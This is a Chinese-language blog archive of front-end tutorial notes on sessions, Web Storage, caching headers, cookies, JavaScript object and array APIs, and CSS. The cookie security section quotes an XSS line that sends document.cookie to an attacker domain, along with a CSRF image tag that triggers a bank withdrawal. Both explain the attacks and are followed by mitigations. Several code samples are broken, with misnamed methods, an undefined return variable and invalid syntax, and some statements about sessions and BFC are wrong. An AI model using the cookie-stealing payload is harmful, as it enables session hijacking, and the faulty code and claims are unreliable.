Archiv

HTTP系列 -- Session + Storage + Cache-Control + ETag + Cookie

概述

本文主要讲述 Session + Storage + Cache-Control + ETag + Cookie 这五者的作用及区别

Session

首先通过代码认识一下 Session。之前我们说 Cookie 可以存储我们的一些信息,但是由于用户在浏览器中可以对 Cookie 进行操作,显然这不是我们想要的,所以 Session 应运而生,Session 解决了 Cookie 不安全的痛点

code

我们在内存中开辟一个空间,用来存储 Session

1
let sessions = {}

当用户登录成功时

1
2
3
let sessionId = Math.random() * 1000000
sessions[ sessionId ] = { key: value } // 表示存储的用户信息
response.setHeader( 'Set-Cookie', `sessionId = ${ sessionId }` ) // Cookie: 'sessionId = 随机数'

当此用户访问首页时,遍历 Cookie,将所有 Cookie 存储到一个 hash(哈希表)中,之后

1
2
3
4
5
let mySession = sessions[ hash.sessionId ]
let username
if( mySession ){
username = mySession.用户信息 // 用户信息表示 sessions 中的{ key: value }
}

Session 特点
  1. 服务器通过 Cookie(sessionId = ${ sessionId }) 将 SessionId(随机数)发给浏览器
  2. 服务器有一块内存保存了所有的 Session(哈希表)
  3. 当浏览器访问服务器时,服务器读取 SessionId
  4. 服务器通过 SessionId 可以得到对应用户的隐私信息
  5. 用户每次登录都会设置一个 SessionId,并且 SessionId 不保存在服务器中

Storage

作为 Web Storage API 的接口(HTML5),Storage 提供了访问特定域名下的会话存储(session storage)和本地存储(local storage)的功能,例如:增删改查存储的数据项。Storage 与 HTTP 无关,它是浏览器上的哈希表,Storage 文件存储在本地的一个文件夹中

  • window.sessionStorage ==> 操作一个域名的会话存储(session storage)
  • window.localStorage ==> 操作一个域名的本地存储(local storage)

    API

  • Storage.setItem() ==> 接收一个键名和值作为参数,把键值对添加到存储中,如果键名存在,则更新其对应的值

  • Storage.getItem() ==> 接收一个键名作为参数,返回键名对应的值

  • Storage.removeItem() ==> 接收一个键名作为参数,并把该键名从存储中删除

  • Storage.clear() ==> 清空存储中的所有键名

对象的存储
1
localStorage.setItem( 'object', { name: 'obj' } )  // object  [ object Object ]

存储对象
浏览器会将 { name: 'obj' } 转化为字符串即 ({ name: 'obj' }).toString,所以当我们存储对象时,使用 JSON ,即

1
localStorage.setItem( 'object', JSON.stringify({ name: 'obj' }))

localStorage

使用场景

记录是否提示过用户 + 记录一些不敏感的信息,常见新手引导界面

1
2
3
4
5
let already = localStorage.getItem( 'isGuide' )
if( !already ){
// 开启引导
localStorage.setItem( 'isGuide', true )
}

特点
  1. localStorage 与 HTTP 无关,所以 HTTP 不会带上 localStorage 的值
  2. 每个域名的 localStorage 有最大存储量,因浏览器而异
  3. 只有相同域名的页面才能互相读取 localStorage
  4. localStorage 永久有效,除非用户清除

sessionStorage

特点
  1. sessionStorage 与 HTTP 无关,所以 HTTP 不会带上 sessionStorage 的值
  2. 每个域名的 sessionStorage 有最大存储量,因浏览器而异
  3. SessionStorage 只在同一浏览器窗口中共享
  4. sessionStorage 在用户关闭页面后就会失效

Cache-Control

Cache-Control 通用消息头被用于在 HTTP 请求和响应中通过指定指令来实现缓存机制。当我们请求的文件(css、js)很大时,可以使用 Cache-Control 实现缓存,从而达到性能优化的目的
前提:使用相同的 URL 才能实现 Cache-Control 缓存机制

1
2
3
HTML
<link rel = "stylesheet" href = "URL">
<script src = "URL">

后端 + code

1
2
3
4
else if( path === '/js/main.js' ){
response.setHeader( 'Cache-Control', 'max-age = 30' )
// 30s 内如果请求 main.js 文件,浏览器不发送请求,直接使用缓存中文件 ==> 下载时间 === 0
}

特点

  1. 让浏览器在一段时间内不访问服务器,不发送请求,直接使用本地硬盘 | 内存作为响应,从而减少请求时间
  2. 首页(入口文件 + HTML)不设置 Cache-Control,因为在缓存的这段时间内,用户不能获取最新网页
  3. 其他文件(css + js)会缓存很久(10年,甚至更久),如要更新,只需要改变入口文件(HTML)的 URL 即可,之后浏览器就会缓存最新版的文件
  4. URL 改变实现方式:+ 查询参数 | + 随机数
    URL 改变实现 + 随机数

Expires

Expires 头指定了一个日期 | 时间, 在这个日期 | 时间之后,HTTP响应被认为是过时的

Cache-Control | Expires

从 Expires ==> Cache-Control 是 HTTP 升级的过程,以前使用 Expires 加缓存,现在使用 Cache-Control 加缓存,Expires 的问题在于,它的过期时间是本地的时间,如果本地时间错乱,可能导致用户一直不能使用缓存,从而影响用户体验
两者的区别在于:Cache-Control 设置缓存时长,Expires 设置缓存过期时间点。如果两者同时设置,Cache-Control 优先使用

ETag

ETag HTTP 响应头是资源的特定版本的标识符。可以让缓存更加高效并节省宽带,如果内容没有改变,Web 服务器不需要发送完整的响应

MD5

MD5 指摘要算法,它可以把一个文件转化成一个字符串。若文件内容相同,则字符串相同。文件内容差异越小,字符串(算出来的结果)差异越大

后端 + code

安装 MD5 npm install md5,然后 node.js 使用 MD5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
else if( path === '/js/main.js' ){
let string = fs.readFileSync( './js/main.js', 'utf-8' )
let fileMd5 = md5( string )
response.setHeader( 'ETag', fileMd5 ) // 响应头中有 ETag ==> ETag: md5 值
// 当设置了 ETag 响应头,下次刷新时,请求中会多一个 If-None-Match 的请求头,值为 ETag 的值(md5 值)
if( request.header[ 'if-none-match' ] === fileMd5 ){ // 如果请求的版本号(md5 值) === 浏览器的 If-None-Match 的值(md5 值) ==> 相同版本不需要下载
// 没有响应体
response.statusCode = 304
// 304 Not Modified 表示资源未被修改,因为请求头指定的版本If-Modified-Since或If-None-Match。在这种情况下,由于客户端仍然具有以前下载的副本,因此不需要重新传输资源。
} else{
response.statusCode = 200
// 有响应体
response.write( string )
}
response.end()
}

缓存机制

Cache-Control + ETag 联合使用

辨析

  1. Cookie 指某些服务器在浏览器终端的一些数据(通常经过加密),一般为了辨别用户身份,也可以储存少量信息
  2. Session 是指服务器通过某种方式确定了用户身份后的会话状态,一般表现为服务器为每个用户单独存储的一部分数据
  3. Session 是基于 Cookie 实现的,Cookie 是 Session 的基石
  4. Cookie 存储在浏览器本地,用户可以看到内容。Session 存储在服务器,用户无法查看内容,一般 Session 的内容是进程\线程间共享的
  5. Cookie 不安全,而 Session 解决了 Cookie 不安全的痛点
  1. Cookie 和 Storage 都存储在本地的一个文件中
  2. 两者都可以做跨页面通信,两者都不能跨域访问
  3. Cookie 的每次请求相同域名时,都会带上 Cookie 里的所有内容去访问服务器
  4. Storage 与 HTTP 无关,不会被带给服务器
  5. Cookie 在做跨页面通信时,由于带上所有内容,导致上传数据 + 请求变慢,Storage 的出现解决了 Cookie 的痛点,只要将一些不敏感信息存储在 Storage 中即可
  6. JS 调用 Cookie 比较麻烦,一般都用库进行封装。Storage 调用起来比较简单,也可以再次封装达到更好的效果
  7. Cookie 大小 4K 左右,Storage 大小 5M 左右
  8. 后台代码可以任意设置 Cookie 的过期时间。Storage 中的 LocalStorage 永久有效,除非用户删除,Storage 中的 SessionStorage 在用户关闭页面(Session 结束)后就失效

LocalStorage + SessionStorage

  1. 两者与 HTTP 无关
  2. 每个域名的 LocalStorage | sessionStorage 有最大存储量,因浏览器而异
  3. 只有相同域名的页面才能互相读取 LocalStorage。SessionStorage 只在同一浏览器窗口中共享
  4. LocalStorage 本地存储, SessionStorage 会话存储
  5. LocalStorage 永久有效,除非用户删除。SessionStorage 在用户关闭页面(Session 结束)后就失效

Cache-Control + ETag

  1. 两者都是 HTTP 响应头,都可以实现加快请求 | 响应速度
  2. Cache-Control 是直接使用本地缓存,不会发送请求
  3. ETag 发送请求,如果 MD5 值相同,则没有响应体

JS系列 -- JavaScript 对象之 API

概述

之前介绍了 《JavaScript 对象基础》 ,现在我们来介绍一下挂载在 Object.prototype 上的属性

Object.prototype API

Object.prototype 表示对象的原型对象
Object.prototype 属性的属性特征

1
2
3
writable ==> 是否可写 ==> false(默认)
enumerable ==> 是否可枚举 ==> false(默认)
configurable ==> 是否可配置 ==> false(默认)

Object.assign()

用于将所有可枚举属性的值从一个或多个源对象复制到目标对象并返回目标对象

1
2
3
4
Object.assign(target, ...sources)  // target 目标对象, sources 源对象

Object.assign( { a: 2, b: 1 }, { a: 1 } ) // { a: 1, b: 1 }
Object.assign( { a: 1, b: 2 }, { a: 'a' }, { c: 3 }, { a: 4 } ) // { a: 4, b: 2, c: 3 }

Object.create()

创建一个空对象,空对象的原型指向参数

1
Object.create( proto[, propertiesObject] ) // 第二参数为一个对象,可以写入新对象的属性 + 描述符

使用 Object.create() 实现继承

Object.create 实现继承

Object.setPrototypeOf()

设置一个指定的对象的原型到另一个对象或 null

1
2
Object.setPrototypeOf( obj, prototype ) // 将对象 obj 的原型设置为 prototype(原型 | null)
obj = Object.create( prototype ) === Object.setPrototypeOf( obj, prototype )

Object.defineProperty() | Object.defineProperties()

这两个方法都是在一个对象上定义新属性或修改现有属性,并返回对象

1
2
Object.defineProperty( obj, prop, descriptor )
Object.defineProperties( obj, props )

属性描述符

属性描述符分为数据描述符存取描述符。描述符必须是二者之一

  • 数据描述符 ==> value + writable ==> 具有值的属性,该值可能是可写的,也可能是不可写的
  • 存取描述符 ==> set + get
    描述符可选键值
  • configurable ==> 是否可配置 ==> false(默认)

  • enumerable ==> 是否可枚举 ==> false(默认)

  • writable ==> 是否可写 ==> false(默认)

  • value ==> 属性对应的值

  • get ==> 一个给属性提供 getter 的方法,如果没有 getter 则为 undefined。该方法返回值被用作属性值,默认为 undefined

  • set ==> 一个给属性提供 setter 的方法,如果没有 setter 则为 undefined。该方法接受唯一参数,并将该参数的新值分配给该属性,默认为 undefined
    属性描述符
    如果对象属性有 getter + setter ,那么调用时走 getter,赋值时走 setter,getter + setter 作用:

    1. 保护私有变量
    2. 响应式开发 | 双向数据绑定 | MVVM (Object.definedProperty() + get + set
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
let person = {}
let ageValue = 18
Object.definePrototype( person, 'name', {
value: xxx,
configurable: false, // 如果不写默认 false
writable: true,
enumerable: true
})

Object.definePrototype( person, 'age', {
configurable: false, // 如果不写默认 false
enumerable: true,
get : function(){
return ageValue;
},
set : function( newValue ){
ageValue = newValue;
},
})
person.age // 18
person.age = 19
person.age // 19

Object.defineProperties( person, {
'property1' : {
value: xxx,
configurable: false, // 如果不写默认 false
writable: true,
enumerable: true
},
'property2' : {
value: xxx,
configurable: false, // 如果不写默认 false
writable: true,
enumerable: true
}
})

Object.getOwnPropertyDescriptor()

返回制定对象上一个自有属性对应的属性描述符

1
Object.getOwnPropertyDescriptor( obj, prop )

Object.getOwnPropertyNames()

返回一个由指定对象的所有自身属性的属性名(包括不可枚举属性但不包括 Symbol 值作为名称的属性)组成的数组

Object.keys() | Object.values()

Object.prototype.hasOwnProperty()

返回一个布尔值,指示对象自身属性中是否具有指定的属性

1
obj.hasOwnProperty( prop )

使用 get + set 实现需求

给定一个对象 obj,返回一个新对象,新对象具有对象 obj 的所有属性,并且给新对象每个属性重新赋值都会触发修改函数,在下方代码处填写代码

1
2
3
4
5
6
7
8
9
10
11
12
13
function getReactiveObj( obj, cb ){
// 代码 code
}
let obj = { a: 'a', b: 'b' }
function fn( prop,val ){
console.log( `${ prop }属性的值变为${ val }` )
}
let newObj = getReactiveObj( obj, fn )
console.log( newObj.a ) // a
console.log( newObj.b ) // b
newObj.a = 'd' // a属性的值变为d
console.log( newObj.a ) // d
console.log( obj ) // { a: 'a', b: 'b' }

解决方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function getReactiveObj( obj, cb ){
let result = {}
Object.keys( obj ).forEach( ( item ) => {
let value = obj[ item ]
Object.defineProperty( result, item, {
get() {
return value
},
set( val ) {
cb.call( null, item, val )
value = val
}
} )
})
return reault
}

实现查询参数

把一个 JS 对象转化成符合查询参数的字符串

1
2
3
4
5
function parseToQuery(){
// 代码
}
parseToQuery({ id: 100, name: 'hello', groups: 'xxx' }) // 'id=100&name=hello&groups=xxx'
parseToQuery({ id: 100, name: 'hello', groups: [ 'xxx', 'yyy' ] }) // 'id=100&name=hello&groups=xxx&groups=yyy'

实现无数组方法一

1
2
3
4
5
6
7
function parseToQuery( obj ){
let arr = []
for( let key in obj ){
arr.push( encodeURIComponent( key ) + '=' + encodeURIComponent( obj[ key ] ) )
}
return arr.join( '&' )
}
encodeURIComponent()

对统一资源标识符(URI)的组成部分进行编码的方法

1
encodeURIComponent( str )   // URI 的组成部分

实现无数组方法二

1
2
3
4
5
6
7
8
function parseToQuery( obj ){
let str = ''
Object.keys( obj ).forEach( ( item ) => {
var str1 = ` ${ item }=${ obj[ item ] }& `
str = str.concat( str1 )
})
return str.slice( 0, str.length-1 )
}

实现无数组方法三

1
2
3
4
5
function parseToQuery( obj ){
return Object.keys( obj ).map( ( key ) => {
`${ key }=${ obj[ key ] }`).join( '&' )
})
}

实现有数组方法

1
2
3
4
5
6
7
8
9
10
11
12
13
function parseToQuery( obj ){
let result = ''
for( let key in obj ){
if( obj[ key ] instanceof Array ){
obj[ key ].forEach( (item) => {
result += key + '=' + value + '&'
})
}else{
result += key + '=' + obj[ key ] + '&'
}
}
return result.substring( 0, result.length-1 )
}

HTTP系列 -- 注册登录 + Cookie

概述

我们每天在使用电脑的时候都会去注册或者登录,作为前端是必须要了解其中的过程的。

注册

后端

后端需要一个路由,当用户请求注册界面时,后端要去读取注册界面,之后发给前端,并且还要设置 method

  • GET ==> 请求注册页面

    1
    2
    3
    4
    5
    6
    7
    else if( path === '/sign_up' && method === 'GET'){
    let string = fs.readFileSync( './sign_up.html', 'utf-8' )
    response.setHeader( 'Content-Type', 'text/html;charset=utf-8' )
    response.statusCode = 200
    response.write( string )
    response.end()
    }
  • POST ==> 用户注册发送数据(使用表单 | AJAX)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    else if( path === '/sign_up' && method === 'POST' ){
    // 拿到前端 POST 的数据,之后进行处理,拿到后端想要的结构
    readBody( request ).then( () => {}, () => {} )
    // 后端进行验证
    // 1. 验证用户输入是否合格
    // 2. 验证用户名是否占用 | 邮箱是否占用(都是去和自己的数据库进行比较)
    // 3. 验证失败 ==> 以 JSON 格式传输给前端错误,400
    // 4. 验证成功 ==> 存储数据库,200
    }
    function readBody( request ){
    return new Promise( ( resolve, reject ) => {
    let body = []
    request.on( 'data', ( chunk ) => {
    body.push( chunk )
    }).on( 'end', () => {
    body = Buffer.concat( body ).toString()
    resolve( body )
    })
    })
    }

前端

跳转注册界面
1
<a href='/sign_up.html'>
提交用户输入数据
  1. 拿到用户输入,可以监听 formsubmit 事件
  2. 前端验证
    • 验证成功 ==> 下一步
    • 验证失败 ==> 提示用户
  3. 发送请求(数据是第四部分 formdata)
    • formsubmit
    • $post()
  4. 成功(打印 response) ==> 200 + 渲染页面
  5. 失败(打印 response) ==> JSON 格式的字符串 + 解析 + 提示用户

登录

后端

后端需要一个路由,当用户请求登录界面时,后端要去读取登录界面,之后发给前端,并且还要设置 method

  • GET ==> 请求注册页面

    1
    2
    3
    4
    5
    6
    7
    else if( path === '/sign_in' && method === 'GET'){
    let string = fs.readFileSync( './sign_in.html', 'utf-8' )
    response.setHeader( 'Content-Type', 'text/html;charset=utf-8' )
    response.statusCode = 200
    response.write( string )
    response.end()
    }
  • POST ==> 用户登录发送数据(使用表单 | AJAX)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    else if(path==='/sign_in' && method === 'POST'){
    // 拿到前端 POST 的数据,之后进行处理,拿到后端想要的结构
    readBody( request ).then( () => {}, () => {} )
    // 后端进行数据库比对
    // 1. 比对用户是否存在
    // 2. 比对用户输入密码是否正确
    // 3. 比对失败 ==> 以 JSON 格式传输给前端错误,400
    // 4. 比对成功 ==> 设置 Cookie ,200
    response.setHeader( 'Set-Cookie', 'xxx' ) // xxx 就是一个身份证

前端

跳转登录界面
1
<a href='/sign_in.html'>
提交用户输入数据
  1. 拿到用户输入,可以监听 formsubmit 事件
  2. 前端验证
    • 验证成功 ==> 下一步
    • 验证失败 ==> 提示用户
  3. 发送请求(数据是第四部分 formdata)
    • formsubmit
    • $post()
  4. 成功(打印 response) ==> 200 + 渲染页面
  5. 失败(打印 response) ==> JSON 格式的字符串 + 解析 + 提示用户

Cookie

服务器发送到用户浏览器并保存在用户本地的一小块数据,它会在浏览器下次向同一服务器再次发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能

用途

Cookie 主要用于以下三个方面

  1. 会话状态管理(如用户登录状态、购物车、游戏分数或其他需要记录的信息)
  2. 个性化设置(如用户自定义设置、主题等)
  3. 浏览器跟踪行为(如跟踪用户行为等)

通过 document.cookie API 可以获取或设置当前文档相关联的 Cookie

1
let  allCookie = document.cookie
设置(写一个新的)Cookie
1
document.cookie = newCookie

newCookie 是一个键值对形式的字符串,使用这个方法一次只能对一个 Cookie 进行设置或更新。以下可选 Cookie 属性值可以跟在键值对后,用来具体化对 Cookie 的设置或更新,使用分号进行分隔

  • ;path = path ==> 如果没有定义,默认为当前文档位置的路径

  • ;domain = domain ==> 如果没有定义,默认为当前文档位置的路径的域名部分

  • ;max-age = max-age-in-seconds ==> 过期时长

  • ;expires = date-in-GMTString-format ==> 如果没有定义,Cookie 会在会话结束时过期

  • ;secure ==> Cookie 只能通过 HTTPS 传输

    1
    document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";

后端 + code

后端验证成功(200)时会设置一个 Cookie 响应头

1
response.setHeader('Set-Cookie', 'xxx' ) // xxx 就是一个身份证

设置 Cookie 之后的同源请求都会带着 Cookie

浏览器关闭后会自动删除,它仅在会话期有效。会话期 Cookie 不需要指定过期时间(Expirse)或者有效期(Max-Age)

持久性 Cookie 可以指定一个特定的过期时间(Expirse)或有效期(Max-Age)

1
response.setHeader( 'Set-Cookie', 'id = xxx; Expirse = 时间点(Max-Age = 时长)' )

secure 标记

安全的 Cookie 只应通过 HTTPS 协议加密过的请求发送给服务端,设置 secure 标记的 Cookie 只在 HTTPS 中生效

HttpOnly 标记

由于 Cookie 可以通过 JS 的 document.cookie 进行修改,但是通过 JS 的 document.cookie 无法访问带有 HttpOnly 标记的 Cookie,所以包含服务端 Session 信息的 Cookie 不想被浏览器的 JS 脚本调用,设置 HttpOnly 标记即可

1
response.setHeader( 'Set-Cookie', 'id = a3fWa; Expires = GMT时间格式; Secure; HttpOnly' )

Domain + Path 标识定义了 Cookie 的作用域,即 Cookie 应该发送给那些 URL

  • Domain ==> 制定哪些主机可以接收 Cookie,如果不指定,不包含子域名,如果指定了 Domain 则一般包含子域名。例如,如果设置 Domain = mozilla.org,则 Cookie 也包含在子域名中(如 developer.mozilla.org

  • Path ==> 制定了主机下哪些路径可以接收 Cookie(该 URL 路径必须存在于请求 URL 中)。例如,设置 Path = /docs,那么以下路径都会匹配 /docs | /docs/web | /docs/web/http

SameSite Cookie 允许服务器指定在跨站请求时该 Cookie 是否会被发送,从而可以阻止跨站请求伪造攻击(CSRF)

安全

会话挟持和 XSS

在 web 应用中,Cookie 常用来标记用户或授权会话,因此如果 web 应用的 Cookie 被窃取,可能导致授权用户的会话受到攻击。常用的窃取 Cookie 的方法有利用社会工程学攻击和利用应用程序漏洞进行 XSS 攻击

1
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly 类型的 Cookie 由于阻止了 JS 对 Cookie 的操作而能在一定程度上缓解此类攻击

CSRF(跨域请求伪造)

如果在不安全的聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求

1
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

当打开含有这张图片的 HTML 页面时,如果之前登录了银行账号并且 Cookie 仍然有效(还没有其他验证步骤),银行中的钱会被自动转走。

阻止 CSRF
  1. 对用户输入进行过滤来阻止 XSS
  2. 任何敏感操作都需要确认
  3. 用于敏感信息的 Cookie 只能拥有较短的生命周期
  1. Cookie 储存用户信息
  2. 服务器通过 Set-Cookie 响应头设置 Cookie
  3. 浏览器得到 Cookie 后,每次请求相同域名都要带上 Cookie
  4. 服务器通过 Cookie 得知是哪个用户(request.headers.cookie // 读取 Cookie )
  5. Cookie 存储在本地的一个文件中
  6. Cookie 不安全,用户可以通过开发者工具 Application/Cookie 可以进行修改,或者 JS 的 document.cookie 进行修改
  7. 每个浏览器的 Cookie 不同
  8. Cookie 有时效性
  9. 后端可以强制设置 Cookie 有效期
  10. Cookie 按域名划分。一个网站只会带着自己域名的 Cookie ,不会带着其他域的 Cookie

Cookie 大小受限,每次请求新的页面 Cookie 都会被发送过去。Cookie 不能跨域调用。Cookie 的作用是与服务器进行交互,Cookie 作为 HTTP 规范的一部分存在

  • 服务器端可以通过设置 Expires、max-age 两个标签将 Cookie 设置为过期状态
  • JavaScript 可以通过document.cookie API 删除 Cookie

相关知识点

  1. formdata 是一段一段上传的,上传时会触发 data 事件(node http get post data)

  2. 前端是不安全的,所以前端可以不进行验证,但是后端必须进行验证。用户可以通过 curl 发送请求,这样就越过了前端 JS

  3. decodeURIComponent()
    用于解码由 encodeURIComponent() 方法或其他类似方法编码的部分 URI(统一资源标识符)

  4. Set-Cookie

  5. CSRF(跨域请求伪造) 是指一种挟持受信任用户向服务器发送非预期请求的攻击方式。例如,这些非预期请求可能在 URL 后加入一些恶意的参数,从而达到攻击者的目的

  6. XSS(Cross-site scripting)是一种安全漏洞,攻击者利用这种漏洞在网上注入恶意的客户端代码。当被攻击者登录网站时就会自动运行这些恶意代码,从而攻击者可以突破网站的访问权限,冒充受害者。

    • 如果 Web 应用程序没有部署足够的安全验证,那么这些脚本可以任意读取 Cookie或者其他敏感的网站信息,或者让恶意脚本重写 HTML 内容
    • 以下两种情况最容易发生 XSS 攻击
      1. 数据从一个不可靠的链接进入一个 Web 应用程序
      2. 没有过滤掉恶意代码的动态内容被发送给 Web 用户
    • XSS 攻击类型
      1. 存储型(持久型):注入型脚本永久存储在目标服务器上,当浏览器请求数据时,脚本从服务器上传回并执行
      2. 反射型(非持久型):当用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站,Web 服务器将注入脚本,比如一个错误信息、搜索结果等返回到用户浏览器上,浏览器会执行这个脚本,因为,浏览器认为这个响应来自可信任的服务器
      3. 基于 DOM 的 XSS:被执行的恶意脚本会修改页面脚本结构

总结篇(二) -- 基础知识之 CSS

  1. 选择器

    • 标签选择器
    • 类选择器
    • ID 选择器
    • 后代选择器
    • 子选择器
    • 通用选择器
    • 伪类选择符
    • 分组选择符
  2. 文档流
    内联元素 ==> 从左向右依次流动
    块级元素 ==> 从上到下依次流动,每个块级元素独占一行

  3. 盒模型
    box-sizing: content-box; ==> 标准盒模型,width = contentWidth
    box-sizing: border-box; ==> width = contentWidth + padding + border
  4. 伪类
    伪类有动态伪类、结构伪类、否定伪类等等
    • 动态伪类:
      :link ==> 未访问前的样式效果
      :hover ==> 鼠标悬停时的样式效果
      :active ==> 鼠标点击时的样式效果
      :visited ==> 访问后的样式效果
      :focus ==> 元素成为焦点时的样式效果
    • 结构伪类
      :first-child ==> 第一个子元素
      :last-child ==> 最后一个子元素
      :nth-child(n) ==> 第 n 个子元素
    • 否定伪类
      :not ==> 不符合参数选择器 X 描述的元素
  5. 伪元素
    • ::before ==> 创建伪元素,此伪元素是元素的第一个子元素
    • ::after ==> 创建伪元素,此伪元素是元素的最后一个子元素
  6. 堆叠上下文(BFC)
    BFC 就是块级格式化上下文。形成 BFC 条件:

    • 浮动
    • 绝对定位元素(position: absolute;
    • 非块盒的块容器(display: inline-block; | display: table-cells
    • overflow 不为 visible 的块盒
    • display: flow-root

      功能:

    1. 将内部浮动元素包裹起来
    2. 两个相邻的 BFC 之间划清界限
  7. 媒体查询
    <link> 标签中的媒体查询

    1
    2
    3
    4
    <link rel="stylesheet" metia="(max-width: 800px)" href="xxx.css">
    ```

    样式表中的 CSS 媒体查询

    1
    2
    3
    8. 动态 REM
    rem 是相对单位长度,它是根元素 ` <html> ` 的 ` font-size ` 的大小,网页默认的 ` font-size: 16px `,运用 JS 探取屏幕宽度,之后定义根元素的 `
    font-size ` 与屏幕宽度相关,之后一切单位都以屏幕宽度为基准


    ```

  8. box-shadow
    • 垂直偏移
    • 水平偏移
    • 模糊半径
    • 模糊尺寸
    • 颜色
  9. transform
    • translate ==> 移动
    • rotate ==> 旋转
    • skew ==> 倾斜
    • scale ==> 缩放
  10. 帧动画
    • animation-name ==> 动画名称
    • animation-duration ==> 持续时间
    • animation-delay ==> 延迟
    • animation-timing-function ==> 动画类型
    • @keyframe ==> 关键帧

JS系列 -- Array 浅析

概述

数组是按次序排列的一组值的集合,它是一个对象
数组可以存储任何类型的数据(数字,字符串,布尔值或者对象)

创建方法

使用 Array 构造函数

Array 构造函数

使用数组字面量表示法

数组字面量由一对包含数组项的方括号表示,多个数组之间以逗号隔开。
Array 字面量

属性 length

表示数组的长度,即数组中元素的个数。
数组索引从 0 开始,索引上下限为 0 到 length-1 。
数组的 length 属性不是只读的,可以进行设置
Array length 修改

注意:
Array length
arr02arr02[ 1 ] === undefined,这个元素是存在的,只不过值为 undefined。

原型链

Array 是对象,所以 Array 有对象的一些方法
Array 原型
可以为数组添加属性,因为数组是对象。

检测数组

  • Array.isArray() ==> 用于确定传递的值是否是一个 Array
  • value instanceof Array ==> 使用 instanceof 操作符检测数组
  • value.push() ==> 使用数组的特有方法,从而检测数组

方法 API

Object 原型上的 API

Object 原型上的 API

Array.prototype API

Array 原型上的 API

栈方法

栈是一种可以限制插入和删除项的数据结构。它是一种 LIFO(Last-In-First -Out,后进先出)的数据结构,栈中项的插入(推入)和移除(弹出)只发生在一个位置 —- 栈的顶部。

  • push() ==> 将一个或多个元素添加到数组的末尾,并返回新数组的长度
  • pop() ==> 从数组中删除最后一个元素,并返回该元素的值。此方法更改数组的长度。

队列方法

队列数据结构的访问规则是 FIFO(Fitst-In-Fitst-Out,先进先出),队列在列表的末端添加项,在列表前端移除项。

  • shift() ==> 从数组中删除第一个元素,并返回该元素的值。此方法更改数组的长度。
  • unshift() ==> 将一个或多个元素添加到数组的开头,并返回新数组的长度

重排序方法

重排序方法 sort()reverse()返回值是经过排序之后的数组,这两种方法都会改变原数组

  • sort() ==> 在适当的位置对数组的元素进行排序,并返回数组。默认排序顺序是根据字符串Unicode码点
    Array sort 排序
    Array sort 排序

  • reverse() ==> 将数组中元素的位置颠倒,并返回该数组的引用。第一个数组元素成为最后一个数组元素,最后一个数组元素成为第一个。
    Array reverse

操作方法

  • concat() ==> 用于合并两个或多个数组。此方法不会更改现有数组,而是返回一个新数组

  • slice() ==> 返回一个从开始到结束(不包括结束)选择的数组的一部分浅拷贝到一个新数组对象,原数组不会被修改。
    Array slice()

  • splice() ==> 通过删除现有元素和/或添加新元素来更改一个数组的内容。
    返回由被删除的元素组成的一个数组
    删除了一个元素 ==> 返回只包含一个元素的数组
    没有删除元素 ==> 返回空数组
    参数: array.splice(start [ , deleteCount [, item1 [, item2, ... ] ] ])
    Array splice API

位置方法

  • indexOf() ==> 返回在数组中可以找到一个给定元素的第一个索引,如果不存在,则返回-1
  • LastIndexOf() ==> 返回指定元素在数组中的最后一个的索引,如果不存在则返回 -1。从数组的后面向前查找

迭代方法

  • forEach() ==> 对数组的每个元素执行一次提供的函数。返回 undefined
    参数:回调函数和可选的执行回调函数时用作this的值,回调函数接受三个值:

    1. 数组中正在处理的当前元素
    2. 数组中正在处理的当前元素的索引
    3. forEach()方法正在操作的数组
      Array forEach
  • map() ==> 创建一个新数组,其结果是该数组中的每个元素都调用一个提供的函数后返回的结果。返回一个新数组,每个元素都是回调函数的结果
    forEach 作用一样,只是返回一个新数组
    Array map

  • every() ==> 测试数组的所有元素是否都通过了指定函数的测试。返回布尔值

  • some() ==> 测试数组中的某些元素是否通过由提供的函数实现的测试。返回布尔值

Array every + some

  • filter() ==> 创建一个新数组, 其包含通过所提供函数实现的测试的所有元素。 返回一个新的通过测试的元素的集合的数组

Array filter

归并方法

  • reduce() ==> 对累加器和数组中的每个元素(从左到右)应用一个函数,将其减少为单个值。返回函数累计处理的结果
  • reduceRight() ==> 接受一个函数作为累加器(accumulator)和数组的每个值(从右到左)将其减少为单个值。返回函数累计处理的结果

总结篇(一) -- 基础知识

移动端适配

  1. 使用 <meta> 标签

    1
    <meta name='viewport' content=' width=device-width user-scalable=no initial-scale=1.0 maximun-scale=1.0 minimum=1.0 ' >

    这个标签主要作用是网页宽度默认等于屏幕宽度,用户不可以缩放,缩放比例1。

  2. 使用 Media Query(媒体查询) 模块
    通过媒体查询,从而判断采用的样式
    主要是有两种方式:

    • 元素中的媒体查询

      1
      <link rel='stylesheet' href='./css/style.css' media='(min-width: 800px) and (max-width: 1400px)' >

      这个标签表示只有 width 在 800px-1400px 时才采用 style.css 这个样式表

    • 样式表中的媒体查询
      在样式表中书写媒体查询

      1
      2
      3
      4
      5
      @media (max-width: 414px){
      .button{
      display: block;
      }
      }

      上述代码表示:当宽度小于 414px 的时候,button 元素显示在页面中

  3. 动态rem
    一切以宽度为基准。
    rem是根元素(html)的 font-size 的值,我们可以使用 JS 实现将 html 的 font-size 设置为屏幕宽度,之后 rem 就和屏幕宽度有一定的映射,当然也可以设置为屏幕宽度的 1/2 ,之后使用 rem 实现元素的宽高 margin padding 等需求。

  4. 在做移动端适配的时候还要注意一些小问题

    • 移动端没有 hover 事件,但是有 touch 事件
    • 移动端没有 resize 事件,没有滚动条
    • rem 单位可以和其他单位混用,例如:border: 1px solid red

闭包

